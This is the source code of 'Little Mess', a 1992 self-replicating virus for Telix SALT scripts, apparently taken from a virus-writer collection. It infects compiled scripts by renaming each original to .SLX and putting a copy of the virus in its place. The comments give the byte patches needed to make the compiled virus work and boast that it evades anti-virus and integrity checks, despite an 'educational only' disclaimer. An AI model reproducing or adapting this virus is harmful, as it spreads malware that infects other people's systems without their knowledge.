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- // Little Mess spawning virus source (c) 92 Crom-Cruach/Trident
- // Source in SALT
- //
- // The compiled script needs some little changes:
- // *First, both 1234h's in the SLC must be replaced by (FileLen-011h)
- // *the 1st 11h bytes of the script must be copied over the 'REPLACE ME!';
- // *Both 1D 06 00's sequences MUST be replaced by 1D 02 00...
-
- // This is of course only educational, and even if it wasn't, it still wouldn't
- // spread due to the script exchange rate.
- //
- // Bad minds, however, might think it's fun having their local network-sysop
- // screaming about his system being infected while all anti-viral/integrity
- // programs miss it (or, him being dissed for saying he's got a
- // script-virus)... Of course, those people are wrong and/or sick.
-
- // Symptoms - 1 out of 8 times it displays a message for 1 sec after
- // script execution if all scripts infected.
-
- // Greetz - NuKE / Phalcon/SKISM / YAM & All other practicing researchers...
-
- // Technical info ---
- //
- // First, the uninfected file is renamed to *.SLX.
- // Then, the SLC file is created and the copy of the header is written to it.
- // After that, the whole virus is written as a string to the file (SALT-string
- // identification code is 19h; offsets in SLC are calculated relative to the
- // end of the header (= on +0Ch) - The 06 -> 02 patch changes the offset of the
- // buffer to write from Title (+6) to [EndHeader+1] (+2)... The 1234-patch is
- // needed to fill in the size of that string). After that, some random bytes
- // are written to make the files less suspicious (the amount must be even; at
- // least, CS (the TELIX script compiler) never creates files with odd lengths)
- // I wanted to mark the SLX files as hidden; but in SALT you can only -read-
- // the attribute of a file. Solution could be to write a little routine in ASM
- // to a temporary file & to RUN that file; I decided not to, because the flash
- // from the shell-to-dos is much more obvious than some 'SLX'-files.
-
- // A system can be infected by starting this script from Telix. It will
- // infect one script at a time.
-
- int EndHeader = 0x123419; // Needed for code-copy
- str Title[40] = "[Little Mess (c) 92 Crom-Cruach/Trident]";
- str Org_Ext[4] = ".SLX";
-
- str Path[64],Trash[64];
- str Buf[12] = ""; // No script to start after 'mother'.
- str Spawned_On[12];
-
- // Header
- str Header[17]="REPLACE ME!"; // must be replaced by header (debug)
- int Handle;
- main()
- {
- Spawned_On = Buf;
- path = _script_dir;
- strcat(path,"*.SLC"); // Search script (not 8 chars-FName!)
- FNext:
- if (not FileFind(path,0,Buf)) // File found?
- { EndHeader=0; } // No more; mark 'all infected'
- else
- {
- path = ""; // Prepare for find-next
- trash = _script_dir;
- strcat(trash,Buf); // Trash = path+filename+ext
- FNStrip(Trash,7,Buf); // Buf = filename only
- strcat(Buf,Org_Ext); // Give new extension
- if (frename(Trash,Buf) != 0) goto FNext;
- // File not renamed (already spawned)
-
- Handle = FOpen(Trash,"w"); // Make new file, same name
- If (Handle == 0) // Error opening; restore orig. fname
- {
- Path = _script_dir;
- strcat(path,Buf); // path = path+new_fname
- frename(Path,Trash); // rename-back
- goto Quit_Infect;
- }
- FWrite(Header,17,Handle); // Write header
-
- FWrite(Title,0x1234,Handle); // Title REPLACED by (ofs EndH.+1)
-
- FWrite(Title,(CurTime()&254),Handle); // Make size random (must be even)
- FClose(Handle);
- }
- Quit_Infect:
- call(Spawned_On); // Start orig. script
- if ((EndHeader==0) and // If all infected
- ((CurTime()&7)==7)) // Show message 1 out of 8 times
- Status_Wind("Legalize Marijuana! - ┬┌│Σ∩┬",10);
- }
-
-